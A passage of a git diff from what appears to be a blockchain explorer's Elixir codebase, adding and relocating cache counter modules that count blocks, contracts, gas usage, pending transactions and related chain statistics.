`t:Explorer.Chain.Block.t/0`. + + Gets count of consensus blocks. + """ + @spec get() :: non_neg_integer() + def get do + cached_value_from_ets = __MODULE__.get_count() + + CacheCountersHelper.evaluate_count(@cache_key, cached_value_from_ets, :estimated_blocks_count) + end + + defp handle_fallback(:count) do + # This will get the task PID if one exists, check if it's running and launch + # a new task if task doesn't exist or it's not running. + # See next `handle_fallback` definition + safe_get_async_task() + + {:return, nil} + end + + defp handle_fallback(:async_task) do + # If this gets called it means an async task was requested, but none exists + # so a new one needs to be launched + {:ok, task} = + Task.start_link(fn -> + try do + result = fetch_count_consensus_block() + + params = %{ + counter_type: @cache_key, + value: result + } + + LastFetchedCounter.upsert(params) + + set_count(%ConCache.Item{ttl: CacheCountersHelper.ttl(__MODULE__, "CACHE_BLOCK_COUNT_PERIOD"), value: result}) + rescue + e -> + Logger.debug([ + "Couldn't update block count: ", + Exception.format(:error, e, __STACKTRACE__) + ]) + end + + set_async_task(nil) + end) + + {:update, task} + end + + # By setting this as a `callback` an async task will be started each time the + # `count` expires (unless there is one already running) + defp async_task_on_deletion({:delete, _, :count}), do: safe_get_async_task() + + defp async_task_on_deletion(_data), do: nil + + @spec fetch_count_consensus_block() :: non_neg_integer + defp fetch_count_consensus_block do + query = + from(block in Block, + select: count(block.hash), + where: block.consensus == true + ) + + Repo.one!(query, timeout: :infinity) || 0 + end +end diff --git a/apps/explorer/lib/explorer/chain/cache/counters/contracts_count.ex b/apps/explorer/lib/explorer/chain/cache/counters/contracts_count.ex new file mode 100644 index 000000000000..ca6f08f48d2b --- /dev/null +++ b/apps/explorer/lib/explorer/chain/cache/counters/contracts_count.ex @@ -0,0 +1,95 @@ +defmodule Explorer.Chain.Cache.Counters.ContractsCount do + @moduledoc """ + Caches the number of contracts. + + It loads the count asynchronously and in a time interval of 30 minutes. + """ + + use GenServer + # It is undesirable to automatically start the consolidation in all environments. + # Consider the test environment: if the consolidation initiates but does not + # finish before a test ends, that test will fail. This way, hundreds of + # tests were failing before disabling the consolidation and the scheduler in + # the test env. + use Utils.CompileTimeEnvHelper, + enable_consolidation: [:explorer, [__MODULE__, :enable_consolidation]], + update_interval_in_milliseconds: [:explorer, [__MODULE__, :update_interval_in_milliseconds]] + + alias Explorer.Chain + alias Explorer.Chain.Cache.Counters.LastFetchedCounter + + @counter_type "contracts_count" + + @doc """ + Starts a process to periodically update the counter of all the contracts. + """ + @spec start_link(term()) :: GenServer.on_start() + def start_link(_) do + GenServer.start_link(__MODULE__, :ok, name: __MODULE__) + end + + @impl true + def init(_args) do + {:ok, %{consolidate?: enable_consolidation?()}, {:continue, :ok}} + end + + defp schedule_next_consolidation do + Process.send_after(self(), :consolidate, @update_interval_in_milliseconds) + end + + @impl true + def handle_continue(:ok, %{consolidate?: true} = state) do + consolidate() + schedule_next_consolidation() + + {:noreply, state} + end + + @impl true + def handle_continue(:ok, state) do + {:noreply, state} + end + + @impl true + def handle_info(:consolidate, state) do + consolidate() + schedule_next_consolidation() + + {:noreply, state} + end + + @doc """ + Fetches the value for a `#{@counter_type}` counter type from the `last_fetched_counters` table. + """ + def fetch(options) do + LastFetchedCounter.get(@counter_type, options) + end + + @doc """ + Consolidates the info by populating the `last_fetched_counters` table with the current database information. + """ + def consolidate do + all_counter = Chain.count_contracts() + + params = %{ + counter_type: @counter_type, + value: all_counter + } + + LastFetchedCounter.upsert(params) + end + + @doc """ + Returns a boolean that indicates whether consolidation is enabled + + In order to choose whether or not to enable the scheduler and the initial + consolidation, change the following Explorer config: + + `config :explorer, Explorer.Chain.Cache.Counters.ContractsCount, enable_consolidation: true` + + to: + + `config :explorer, Explorer.Chain.Cache.Counters.ContractsCount, enable_consolidation: false` + """ + def enable_consolidation?, do: @enable_consolidation +end diff --git a/apps/explorer/lib/explorer/chain/cache/counters/gas_usage_sum.ex b/apps/explorer/lib/explorer/chain/cache/counters/gas_usage_sum.ex new file mode 100644 index 000000000000..bdb1f6d91a75 --- /dev/null +++ b/apps/explorer/lib/explorer/chain/cache/counters/gas_usage_sum.ex @@ -0,0 +1,96 @@ +defmodule Explorer.Chain.Cache.Counters.GasUsageSum do + @moduledoc """ + Cache for total gas usage. + """ + require Logger + + import Ecto.Query, + only: [ + from: 2 + ] + + use Explorer.Chain.MapCache, + name: :gas_usage, + key: :sum, + key: :async_task, + global_ttl: :infinity, + ttl_check_interval: :timer.seconds(1), + callback: &async_task_on_deletion(&1) + + alias Explorer.Chain.Cache.Counters.Helper, as: CacheCountersHelper + alias Explorer.Chain.Cache.Counters.LastFetchedCounter + alias Explorer.Chain.Transaction + alias Explorer.Repo + + @cache_key "gas_usage_sum" + + @spec total() :: non_neg_integer() + def total do + cached_value_from_ets = __MODULE__.get_sum() + + CacheCountersHelper.evaluate_count(@cache_key, cached_value_from_ets) + end + + defp handle_fallback(:sum) do + # This will get the task PID if one exists, check if it's running and launch + # a new task if task doesn't exist or it's not running. + # See next `handle_fallback` definition + safe_get_async_task() + + {:return, nil} + end + + defp handle_fallback(:async_task) do + if Application.get_env(:explorer, __MODULE__)[:enabled] do + # If this gets called it means an async task was requested, but none exists + # so a new one needs to be launched + {:ok, task} = + Task.start_link(fn -> + try do + result = fetch_sum_gas_used() + + params = %{ + counter_type: @cache_key, + value: result + } + + LastFetchedCounter.upsert(params) + + set_sum(%ConCache.Item{ + ttl: CacheCountersHelper.ttl(__MODULE__, "CACHE_TOTAL_GAS_USAGE_PERIOD"), + value: result + }) + rescue + e -> + Logger.debug([ + "Couldn't update total gas used: ", + Exception.format(:error, e, __STACKTRACE__) + ]) + end + + set_async_task(nil) + end) + + {:update, task} + else + {:update, nil} + end + end + + # By setting this as a `callback` an async task will be started each time the + # `sum` expires (unless there is one already running) + defp async_task_on_deletion({:delete, _, :sum}), do: safe_get_async_task() + + defp async_task_on_deletion(_data), do: nil + + @spec fetch_sum_gas_used() :: non_neg_integer + defp fetch_sum_gas_used do + query = + from( + t0 in Transaction, + select: fragment("SUM(t0.gas_used)") + ) + + Repo.one!(query, timeout: :infinity) || 0 + end +end diff --git a/apps/explorer/lib/explorer/chain/cache/counters/helper.ex b/apps/explorer/lib/explorer/chain/cache/counters/helper.ex new file mode 100644 index 000000000000..846b7714c140 --- /dev/null +++ b/apps/explorer/lib/explorer/chain/cache/counters/helper.ex @@ -0,0 +1,266 @@ +defmodule Explorer.Chain.Cache.Counters.Helper do + @moduledoc """ + A helper for caching modules + """ + + alias Explorer.Chain + alias Explorer.Chain.Cache.Counters.LastFetchedCounter + + @block_number_threshold_1 10_000 + @block_number_threshold_2 50_000 + @block_number_threshold_3 150_000 + + @ets_opts [ + :set, + :named_table, + :public, + read_concurrency: true + ] + + @doc """ + Returns the current time in milliseconds since the Unix epoch. + + This function retrieves the current UTC time and converts it to Unix + timestamp in milliseconds. + + ## Returns + - The number of milliseconds since the Unix epoch. + """ + @spec current_time() :: non_neg_integer() + def current_time do + utc_now = DateTime.utc_now() + + DateTime.to_unix(utc_now, :millisecond) + end + + @doc """ + Fetches a value from the ETS cache. + + This function fetches a value from the ETS cache by looking up the key in the + specified cache table. If the key is found, it returns the value. Otherwise, it + returns the default value. + + ## Parameters + - `cache_name`: The name of the cache table to fetch from. + - `key`: The key to fetch from the cache. + - `default`: The default value to return if the key is not found. + + ## Returns + - The value associated with the key in the cache table or the default value. + """ + @spec fetch_from_ets_cache(atom(), binary() | atom() | tuple(), any()) :: any() + def fetch_from_ets_cache(cache_name, key, default \\ nil) do + case :ets.lookup(cache_name, key) do + [{_, value}] -> + value + + [] -> + default + end + end + + @doc """ + Inserts a key-value pair into an ETS (Erlang Term Storage) cache. + + ## Parameters + + - `cache_name`: The name of the ETS table. + - `key`: The key to insert into the cache. + - `value`: The value associated with the key. + + ## Examples + + iex> put_into_ets_cache(:my_cache, :some_key, "some_value") + true + + """ + @spec put_into_ets_cache(atom(), binary() | atom() | tuple(), any()) :: any() + def put_into_ets_cache(cache_name, key, value) do + :ets.insert(cache_name, {key, value}) + end + + @doc """ + Creates a new ETS (Erlang Term Storage) table with the given `cache_name` if it does not already exist. + + ## Parameters + - cache_name: The name of the cache table to be created. + + ## Returns + - The table identifier if the table is created. + - `nil` if the table already exists. + """ + @spec create_cache_table(atom()) :: any() + def create_cache_table(cache_name) do + if :ets.whereis(cache_name) == :undefined do + :ets.new(cache_name, @ets_opts) + end + end + + @doc """ + Evaluates the count for a given cache key. If the cache key has no associated value (`nil`), + it attempts to use an optional `estimated_count_fun` function to compute the count. Otherwise, + it retrieves the cached value from the database. + + ## Parameters + + - `cache_key` (any): The key used to fetch the cached value. + - `nil` (nil): Placeholder for a missing value. + - `estimated_count_fun` (atom, optional): The name of the function to call for estimating the count + if no cached value is found. Defaults to `nil`. + + ## Returns + + - `integer`: The cached value from the database if it exists, or the result of the + `estimated_count_fun` function if the cached value is `0`. + """ + @spec evaluate_count(binary(), non_neg_integer() | nil, atom() | nil) :: non_neg_integer() + def evaluate_count(cache_key, cached_value_from_ets, estimated_count_fun \\ nil) + + def evaluate_count(cache_key, nil, estimated_count_fun) do + cached_value_from_db = + cache_key + |> LastFetchedCounter.get() + |> case do + nil -> 0 + value -> Decimal.to_integer(value) + end + + if cached_value_from_db === 0 do + if estimated_count_fun, do: apply(__MODULE__, estimated_count_fun, []), else: 0 + else + cached_value_from_db + end + end + + def evaluate_count(_cache_key, cached_value_from_ets, _estimated_count_fun) when not is_nil(cached_value_from_ets) do + cached_value_from_ets + end + + @doc """ + Estimates the row count of a given table using PostgreSQL system catalogs. + + This function executes a query to estimate the number of rows in the specified + table based on the table's reltuples and relpages values from the pg_class catalog. + It provides a fast estimation rather than an exact count. + + ## Parameters + - `table_name`: The name of the table to estimate the row count for. + - `options`: An optional keyword list of options, such as selecting a specific repository. + + ## Returns + - An estimated count of rows in the specified table or `nil` if the estimation is not available. + """ + @spec estimated_count_from(binary(), keyword()) :: non_neg_integer() | nil + @spec estimated_count_from(binary()) :: non_neg_integer() | nil + def estimated_count_from(table_name, options \\ []) do + %Postgrex.Result{rows: [[count]]} = + Chain.select_repo(options).query!( + "SELECT (CASE WHEN c.reltuples < 0 THEN NULL WHEN c.relpages = 0 THEN float8 '0' ELSE c.reltuples / c.relpages END * (pg_catalog.pg_relation_size(c.oid) / pg_catalog.current_setting('block_size')::int))::bigint FROM pg_catalog.pg_class c WHERE c.oid = '#{table_name}'::regclass" + ) + + count + end + + @doc """ + Calculates the time-to-live (TTL) for a given module in the cache. + + ## Parameters + + * `module` - The module for which to calculate the TTL. + * `management_variable` - The management environment variable. + + ## Returns + + The TTL for the module. + + """ + @spec ttl(atom, String.t()) :: non_neg_integer() + def ttl(module, management_variable) do + min_blockchain_block_number = Application.get_env(:indexer, :first_block) + max_block_number = Chain.fetch_max_block_number() + blocks_amount = max_block_number - min_blockchain_block_number + global_ttl_from_var = Application.get_env(:explorer, module)[:global_ttl] + + cond do + System.get_env(management_variable) not in ["", nil] -> global_ttl_from_var + blocks_amount < @block_number_threshold_1 -> :timer.seconds(10) + blocks_amount >= @block_number_threshold_1 and blocks_amount < @block_number_threshold_2 -> :timer.seconds(30) + blocks_amount >= @block_number_threshold_2 and blocks_amount < @block_number_threshold_3 -> :timer.minutes(2) + true -> global_ttl_from_var + end + end + + @doc """ + Estimates the count of addresses from the cache. + + This function retrieves the estimated count of addresses from the cache + using the `CacheCountersHelper.estimated_count_from/1` function. If the + retrieved count is `nil`, it returns `0` as a fallback. + + ## Returns + + - `integer`: The estimated count of addresses, or `0` if no estimate is available. + """ + @spec estimated_addresses_count() :: non_neg_integer() + def estimated_addresses_count do + count = estimated_count_from("addresses") + + if is_nil(count), do: 0, else: count + end + + @doc """ + Returns the estimated count of transactions from the cache. + + This function retrieves the estimated transaction count using the + `CacheCountersHelper.estimated_count_from/1` function with the key `"transactions"`. + If the retrieved count is `nil`, it returns `0` as a fallback. + + ## Returns + + - `integer`: The estimated count of transactions, or `0` if no count is available. + """ + @spec estimated_transactions_count() :: non_neg_integer() + def estimated_transactions_count do + count = estimated_count_from("transactions") + + if is_nil(count), do: 0, else: count + end + + @doc """ + Estimates the total count of blocks in the system. + + This function retrieves an estimated count of blocks from the cache using + `CacheCountersHelper.estimated_count_from/1`. If the retrieved count is `nil`, + it returns `0`. Otherwise, it applies a 90% adjustment to the count by + multiplying it by `0.90` and truncating the result to an integer. + + ## Returns + + - `0` if the estimated count is `nil`. + - An integer representing 90% of the estimated count otherwise. + + """ + @spec estimated_blocks_count() :: non_neg_integer() + def estimated_blocks_count do + count = estimated_count_from("blocks") + + if is_nil(count), do: 0, else: trunc(count * 0.90) + end + + @doc """ + Returns the estimated count of pending block operations. + + This function retrieves the estimated count from the "pending_block_operations" cache. + If the count is `nil`, it returns `0`. Otherwise, it ensures the count is non-negative + by returning the maximum of the count and `0`. + + ## Returns + - `integer`: The estimated count of pending block operations, or `0` if the count is `nil`. + """ + @spec estimated_pending_block_operations_count() :: non_neg_integer() + def estimated_pending_block_operations_count do + count = estimated_count_from("pending_block_operations") + + if is_nil(count), do: 0, else: max(count, 0) + end +end diff --git a/apps/explorer/lib/explorer/counters/average_block_time_duration_format.ex b/apps/explorer/lib/explorer/chain/cache/counters/helper/average_block_time_duration_format.ex similarity index 97% rename from apps/explorer/lib/explorer/counters/average_block_time_duration_format.ex rename to apps/explorer/lib/explorer/chain/cache/counters/helper/average_block_time_duration_format.ex index 46be83a39ffb..9ed023af4199 100644 --- a/apps/explorer/lib/explorer/counters/average_block_time_duration_format.ex +++ b/apps/explorer/lib/explorer/chain/cache/counters/helper/average_block_time_duration_format.ex @@ -1,4 +1,4 @@ -defmodule Explorer.Counters.AverageBlockTimeDurationFormat do +defmodule Explorer.Chain.Cache.Counters.Helper.AverageBlockTimeDurationFormat do @moduledoc """ A `Timex.Format.Duration.Formatter` that renders the most significant unit out to one decimal point. """ diff --git a/apps/explorer/lib/explorer/chain/cache/counters/last_fetched_counter.ex b/apps/explorer/lib/explorer/chain/cache/counters/last_fetched_counter.ex new file mode 100644 index 000000000000..1cc64a7b3fad --- /dev/null +++ b/apps/explorer/lib/explorer/chain/cache/counters/last_fetched_counter.ex @@ -0,0 +1,132 @@ +defmodule Explorer.Chain.Cache.Counters.LastFetchedCounter do + @moduledoc """ + Stores last fetched counters. + """ + + use Explorer.Schema + + alias Explorer.{Chain, Repo} + + import Ecto.Changeset + + @primary_key false + typed_schema "last_fetched_counters" do + field(:counter_type, :string, null: false) + field(:value, :decimal) + + timestamps() + end + + @doc false + def changeset(struct, params \\ %{}) do + struct + |> cast(params, [:counter_type, :value]) + |> validate_required([:counter_type]) + end + + @doc """ + Increments the value of a counter of the specified type by the given value. + + ## Parameters + + - `type` (any): The type of the counter to increment. This is used to filter the counter records. + - `value` (integer): The amount by which to increment the counter's value. + + ## Returns + + - The result of the `Repo.update_all/3` operation, which includes the number of updated rows. + + ## Notes + + - The query uses `timeout: :infinity` to ensure the operation does not time out. + """ + @spec increment(binary(), non_neg_integer()) :: {non_neg_integer(), nil} + def increment(type, value) do + query = + from(counter in __MODULE__, + where: counter.counter_type == ^type + ) + + Repo.update_all(query, [inc: [value: value]], timeout: :infinity) + end + + @doc """ + Inserts a new record or updates an existing one in the database for the given parameters. + + This function creates a changeset using the provided `params` and attempts to insert it into the database. + If a conflict occurs on the `:counter_type` field, the existing record is replaced with the new data. + + ## Parameters + + - `params` - A map containing the attributes for the changeset. + + ## Returns + + - On success, returns `{:ok, struct}` where `struct` is the inserted or updated record. + - On failure, returns `{:error, changeset}` with details about the validation or database error. + + """ + @spec upsert(map()) :: {:ok, __MODULE__.t()} | {:error, Ecto.Changeset.t()} + def upsert(params) do + changeset = changeset(%__MODULE__{}, params) + + Repo.insert(changeset, + on_conflict: :replace_all, + conflict_target: [:counter_type] + ) + end + + @doc """ + Fetches the last fetched counter value for the given `type`. + + ## Parameters + + - `type` (any): The type of the counter to fetch. + - `options` (Keyword, optional): A keyword list of options. Supported options: + - `:nullable` (boolean): If `true`, returns `nil` when the counter is not found. + If `false` or not provided, returns `Decimal.new(0)` when the counter is not found. + + ## Returns + + - The value of the counter as a `Decimal` or `nil` if `:nullable` is set to `true` and the counter is not found. + """ + @spec get(binary(), Keyword.t()) :: Decimal.t() | nil + def get(type, options \\ []) do + query = + from( + last_fetched_counter in __MODULE__, + where: last_fetched_counter.counter_type == ^type, + select: last_fetched_counter.value + ) + + if options[:nullable] do + Chain.select_repo(options).one(query) + else + Chain.select_repo(options).one(query) || Decimal.new(0) + end + end + + @doc """ + Fetches multiple last fetched counter values for the given `types`. + + ## Parameters + + - `types` (list of binary): The types of counters to fetch. + - `options` (Keyword, optional): A keyword list of options passed to `Chain.select_repo()`. + + ## Returns + + - A list of tuples where each tuple contains the counter type and its value: `{counter_type, value}`. + """ + @spec get_multiple([binary()], Keyword.t()) :: [{binary(), Decimal.t() | nil}] + def get_multiple(types, options \\ []) do + query = + from( + last_fetched_counter in __MODULE__, + where: last_fetched_counter.counter_type in ^types, + select: {last_fetched_counter.counter_type, last_fetched_counter.value} + ) + + Chain.select_repo(options).all(query) + end +end diff --git a/apps/explorer/lib/explorer/chain/cache/counters/new_contracts_count.ex b/apps/explorer/lib/explorer/chain/cache/counters/new_contracts_count.ex new file mode 100644 index 000000000000..690939e094db --- /dev/null +++ b/apps/explorer/lib/explorer/chain/cache/counters/new_contracts_count.ex @@ -0,0 +1,96 @@ +defmodule Explorer.Chain.Cache.Counters.NewContractsCount do + @moduledoc """ + Caches the number of new contracts (created in last 24 hours). + + It loads the count asynchronously and in a time interval of 30 minutes. + """ + + use GenServer + # It is undesirable to automatically start the consolidation in all environments. + # Consider the test environment: if the consolidation initiates but does not + # finish before a test ends, that test will fail. This way, hundreds of + # tests were failing before disabling the consolidation and the scheduler in + # the test env. + use Utils.CompileTimeEnvHelper, + enable_consolidation: [:explorer, [__MODULE__, :enable_consolidation]], + update_interval_in_milliseconds: [:explorer, [__MODULE__, :update_interval_in_milliseconds]] + + alias Explorer.Chain + alias Explorer.Chain.Cache.Counters.LastFetchedCounter + + @counter_type "new_contracts_count" + + @doc """ + Starts a process to periodically update the counter of new + contracts. (created in last 24 hours) + """ + @spec start_link(term()) :: GenServer.on_start() + def start_link(_) do + GenServer.start_link(__MODULE__, :ok, name: __MODULE__) + end + + @impl true + def init(_args) do + {:ok, %{consolidate?: enable_consolidation?()}, {:continue, :ok}} + end + + defp schedule_next_consolidation do + Process.send_after(self(), :consolidate, @update_interval_in_milliseconds) + end + + @impl true + def handle_continue(:ok, %{consolidate?: true} = state) do + consolidate() + schedule_next_consolidation() + + {:noreply, state} + end + + @impl true + def handle_continue(:ok, state) do + {:noreply, state} + end + + @impl true + def handle_info(:consolidate, state) do + consolidate() + schedule_next_consolidation() + + {:noreply, state} + end + + @doc """ + Fetches the value for a `#{@counter_type}` counter type from the `last_fetched_counters` table. + """ + def fetch(options) do + LastFetchedCounter.get(@counter_type, options) + end + + @doc """ + Consolidates the info by populating the `last_fetched_counters` table with the current database information. + """ + def consolidate do + new_all_counter = Chain.count_new_contracts() + + params = %{ + counter_type: @counter_type, + value: new_all_counter + } + + LastFetchedCounter.upsert(params) + end + + @doc """ + Returns a boolean that indicates whether consolidation is enabled + + In order to choose whether or not to enable the scheduler and the initial + consolidation, change the following Explorer config: + + `config :explorer, Explorer.Chain.Cache.Counters.NewContractsCount, enable_consolidation: true` + + to: + + `config :explorer, Explorer.Chain.Cache.Counters.NewContractsCount, enable_consolidation: false` + """ + def enable_consolidation?, do: @enable_consolidation +end diff --git a/apps/explorer/lib/explorer/chain/cache/counters/new_pending_transactions_count.ex b/apps/explorer/lib/explorer/chain/cache/counters/new_pending_transactions_count.ex new file mode 100644 index 000000000000..a711c851d4fc --- /dev/null +++ b/apps/explorer/lib/explorer/chain/cache/counters/new_pending_transactions_count.ex @@ -0,0 +1,96 @@ +defmodule Explorer.Chain.Cache.Counters.NewPendingTransactionsCount do + @moduledoc """ + Caches number of pending transactions for last 30 minutes. + + It loads the sum asynchronously and in a time interval of :cache_period (default to 5 minutes). + """ + + use GenServer + + import Ecto.Query + + alias Explorer.Chain.Cache.Counters.LastFetchedCounter + alias Explorer.Chain.Transaction + alias Explorer.Repo + + @counter_type "pending_transaction_count_30min" + + @doc """ + Starts a process to periodically update the counter. + """ + @spec start_link(term()) :: GenServer.on_start() + def start_link(_) do + GenServer.start_link(__MODULE__, :ok, name: __MODULE__) + end + + @impl true + def init(_args) do + {:ok, %{consolidate?: enable_consolidation?()}, {:continue, :ok}} + end + + defp schedule_next_consolidation do + Process.send_after(self(), :consolidate, cache_interval()) + end + + @impl true + def handle_continue(:ok, %{consolidate?: true} = state) do + consolidate() + schedule_next_consolidation() + + {:noreply, state} + end + + @impl true + def handle_continue(:ok, state) do + {:noreply, state} + end + + @impl true + def handle_info(:consolidate, state) do + consolidate() + schedule_next_consolidation() + + {:noreply, state} + end + + @doc """ + Fetches the value for a `#{@counter_type}` counter type from the `last_fetched_counters` table. + """ + def fetch(options) do + LastFetchedCounter.get(@counter_type, options) + end + + @doc """ + Consolidates the info by populating the `last_fetched_counters` table with the current database information. + """ + def consolidate do + query = + from(transaction in Transaction, + where: is_nil(transaction.block_hash) and transaction.inserted_at >= ago(30, "minute"), + select: count(transaction.hash) + ) + + count = Repo.one!(query, timeout: :infinity) + + LastFetchedCounter.upsert(%{ + counter_type: @counter_type, + value: count + }) + end + + @doc """ + Returns a boolean that indicates whether consolidation is enabled + + In order to choose whether or not to enable the scheduler and the initial + consolidation, change the following Explorer config: + + `config :explorer, #{__MODULE__}, enable_consolidation: true` + + to: + + `config :explorer, #{__MODULE__}, enable_consolidation: false` + """ + def enable_consolidation?, do: Application.get_env(:explorer, __MODULE__)[:enable_consolidation] + + defp cache_interval, do: Application.get_env(:explorer, __MODULE__)[:cache_period] +end diff --git a/apps/explorer/lib/explorer/chain/cache/counters/new_verified_contracts_count.ex b/apps/explorer/lib/explorer/chain/cache/counters/new_verified_contracts_count.ex new file mode 100644 index 000000000000..e4313d6fac32 --- /dev/null +++ b/apps/explorer/lib/explorer/chain/cache/counters/new_verified_contracts_count.ex @@ -0,0 +1,96 @@ +defmodule Explorer.Chain.Cache.Counters.NewVerifiedContractsCount do + @moduledoc """ + Caches the number of new verified contracts (verified in last 24 hours). + + It loads the count asynchronously and in a time interval of 30 minutes. + """ + + use GenServer + # It is undesirable to automatically start the consolidation in all environments. + # Consider the test environment: if the consolidation initiates but does not + # finish before a test ends, that test will fail. This way, hundreds of + # tests were failing before disabling the consolidation and the scheduler in + # the test env. + use Utils.CompileTimeEnvHelper, + enable_consolidation: [:explorer, [__MODULE__, :enable_consolidation]], + update_interval_in_milliseconds: [:explorer, [__MODULE__, :update_interval_in_milliseconds]] + + alias Explorer.Chain + alias Explorer.Chain.Cache.Counters.LastFetchedCounter + + @counter_type "new_verified_contracts_count" + + @doc """ + Starts a process to periodically update the counter of new verified + contracts (verified in last 24 hours). + """ + @spec start_link(term()) :: GenServer.on_start() + def start_link(_) do + GenServer.start_link(__MODULE__, :ok, name: __MODULE__) + end + + @impl true + def init(_args) do + {:ok, %{consolidate?: enable_consolidation?()}, {:continue, :ok}} + end + + defp schedule_next_consolidation do + Process.send_after(self(), :consolidate, @update_interval_in_milliseconds) + end + + @impl true + def handle_continue(:ok, %{consolidate?: true} = state) do + consolidate() + schedule_next_consolidation() + + {:noreply, state} + end + + @impl true + def handle_continue(:ok, state) do + {:noreply, state} + end + + @impl true + def handle_info(:consolidate, state) do + consolidate() + schedule_next_consolidation() + + {:noreply, state} + end + + @doc """ + Fetches the value for a `#{@counter_type}` counter type from the `last_fetched_counters` table. + """ + def fetch(options) do + LastFetchedCounter.get(@counter_type, options) + end + + @doc """ + Consolidates the info by populating the `last_fetched_counters` table with the current database information. + """ + def consolidate do + new_verified_counter = Chain.count_new_verified_contracts() + + params = %{ + counter_type: @counter_type, + value: new_verified_counter + } + + LastFetchedCounter.upsert(params) + end + + @doc """ + Returns a boolean that indicates whether consolidation is enabled + + In order to choose whether or not to enable the scheduler and the initial + consolidation, change the following Explorer config: + + `config :explorer, Explorer.Chain.Cache.Counters.NewVerifiedContractsCount, enable_consolidation: true` + + to: + + `config :explorer, Explorer.Chain.Cache.Counters.NewVerifiedContractsCount, enable_consolidation: false` + """ + def enable_consolidation?, do: @enable_consolidation +end diff --git a/apps/explorer/lib/explorer/chain/cache/counters/optimism/last_output_root_size_counter.ex b/apps/explorer/lib/explorer/chain/cache/counters/optimism/last_output_root_size_counter.ex new file mode 100644 index 000000000000..8017bc4f6b9d --- /dev/null +++ b/apps/explorer/lib/explorer/chain/cache/counters/optimism/last_output_root_size_counter.ex @@ -0,0 +1,113 @@ +defmodule Explorer.Chain.Cache.Counters.Optimism.LastOutputRootSizeCount do + @moduledoc """ + Caches number of transactions in last output root. + + It loads the count asynchronously and in a time interval of :cache_period (default to 5 minutes). + """ + + use GenServer + + import Ecto.Query + + alias Explorer.Chain.Cache.Counters.LastFetchedCounter + alias Explorer.Chain.Optimism.OutputRoot + alias Explorer.Chain.Transaction + alias Explorer.Repo + + @counter_type "last_output_root_size_count" + + @doc """ + Starts a process to periodically update the counter. + """ + @spec start_link(term()) :: GenServer.on_start() + def start_link(_) do + GenServer.start_link(__MODULE__, :ok, name: __MODULE__) + end + + @impl true + def init(_args) do + {:ok, %{consolidate?: enable_consolidation?()}, {:continue, :ok}} + end + + defp schedule_next_consolidation do + Process.send_after(self(), :consolidate, cache_interval()) + end + + @impl true + def handle_continue(:ok, %{consolidate?: true} = state) do + consolidate() + schedule_next_consolidation() + + {:noreply, state} + end + + @impl true + def handle_continue(:ok, state) do + {:noreply, state} + end + + @impl true + def handle_info(:consolidate, state) do + consolidate() + schedule_next_consolidation() + + {:noreply, state} + end + + @doc """ + Fetches the value for a `#{@counter_type}` counter type from the `last_fetched_counters` table. + """ + def fetch(options) do + LastFetchedCounter.get(@counter_type, options |> Keyword.put_new(:nullable, true)) + end + + @doc """ + Consolidates the info by populating the `last_fetched_counters` table with the current database information. + """ + def consolidate do + output_root_query = + from(root in OutputRoot, + select: {root.l2_block_number}, + order_by: [desc: root.l2_output_index], + limit: 2 + ) + + count = + case output_root_query |> Repo.all() do + [{last_block_number}, {prev_block_number}] -> + query = + from(transaction in Transaction, + where: + not is_nil(transaction.block_hash) and transaction.block_number > ^prev_block_number and + transaction.block_number <= ^last_block_number, + select: count(transaction.hash) + ) + + Repo.one!(query, timeout: :infinity) + + _ -> + nil + end + + LastFetchedCounter.upsert(%{ + counter_type: @counter_type, + value: count + }) + end + + @doc """ + Returns a boolean that indicates whether consolidation is enabled + + In order to choose whether or not to enable the scheduler and the initial + consolidation, change the following Explorer config: + + `config :explorer, #{__MODULE__}, enable_consolidation: true` + + to: + + `config :explorer, #{__MODULE__}, enable_consolidation: false` + """ + def enable_consolidation?, do: Application.get_env(:explorer, __MODULE__)[:enable_consolidation] + + defp cache_interval, do: Application.get_env(:explorer, __MODULE__)[:cache_period] +end diff --git a/apps/explorer/lib/explorer/chain/cache/counters/pending_block_operation_count.ex b/apps/explorer/lib/explorer/chain/cache/counters/pending_block_operation_count.ex new file mode 100644 index 000000000000..db043acfd741 --- /dev/null +++ b/apps/explorer/lib/explorer/chain/cache/counters/pending_block_operation_count.ex @@ -0,0 +1,78 @@ +defmodule Explorer.Chain.Cache.Counters.PendingBlockOperationCount do + @moduledoc """ + Cache for estimated `pending_block_operations` count. + """ + + use Explorer.Chain.MapCache, + name: :pending_block_operations_count, + key: :count, + key: :async_task, + global_ttl: Application.get_env(:explorer, __MODULE__)[:global_ttl], + ttl_check_interval: :timer.seconds(1), + callback: &async_task_on_deletion(&1) + + require Logger + + alias Explorer.Chain.Cache.Counters.Helper, as: CacheCountersHelper + alias Explorer.Chain.Cache.Counters.LastFetchedCounter + alias Explorer.Chain.PendingBlockOperation + alias Explorer.Repo + + @cache_key "pending_block_operations_count" + + @doc """ + Gets count of `t:Explorer.Chain.PendingBlockOperation.t/0`. + + """ + @spec get() :: non_neg_integer() + def get do + cached_value_from_ets = __MODULE__.get_count() + + CacheCountersHelper.evaluate_count(@cache_key, cached_value_from_ets, :estimated_pending_block_operations_count) + end + + defp handle_fallback(:count) do + # This will get the task PID if one exists, check if it's running and launch + # a new task if task doesn't exist or it's not running. + # See next `handle_fallback` definition + safe_get_async_task() + + {:return, nil} + end + + defp handle_fallback(:async_task) do + # If this gets called it means an async task was requested, but none exists + # so a new one needs to be launched + {:ok, task} = + Task.start_link(fn -> + try do + result = Repo.aggregate(PendingBlockOperation, :count, timeout: :infinity) + + params = %{ + counter_type: @cache_key, + value: result + } + + LastFetchedCounter.upsert(params) + + set_count(%ConCache.Item{ttl: CacheCountersHelper.ttl(__MODULE__, "CACHE_PBO_COUNT_PERIOD"), value: result}) + rescue + e -> + Logger.debug([ + "Couldn't update pending_block_operations count: ", + Exception.format(:error, e, __STACKTRACE__) + ]) + end + + set_async_task(nil) + end) + + {:update, task} + end + + # By setting this as a `callback` an async task will be started each time the + # `count` expires (unless there is one already running) + defp async_task_on_deletion({:delete, _, :count}), do: safe_get_async_task() + + defp async_task_on_deletion(_data), do: nil +end diff --git a/apps/explorer/lib/explorer/chain/cache/counters/rootstock/locked_btc_count.ex b/apps/explorer/lib/explorer/chain/cache/counters/rootstock/locked_btc_count.ex new file mode 100644 index 000000000000..f6187dc0a1c3 --- /dev/null +++ b/apps/explorer/lib/explorer/chain/cache/counters/rootstock/locked_btc_count.ex @@ -0,0 +1,31 @@ +defmodule Explorer.Chain.Cache.Counters.Rootstock.LockedBTCCount do + @moduledoc """ + Caches the number of BTC locked in 2WP on Rootstock chain. + """ + + require Logger + alias Explorer.Chain + alias Explorer.Chain.{Address, Wei} + + use 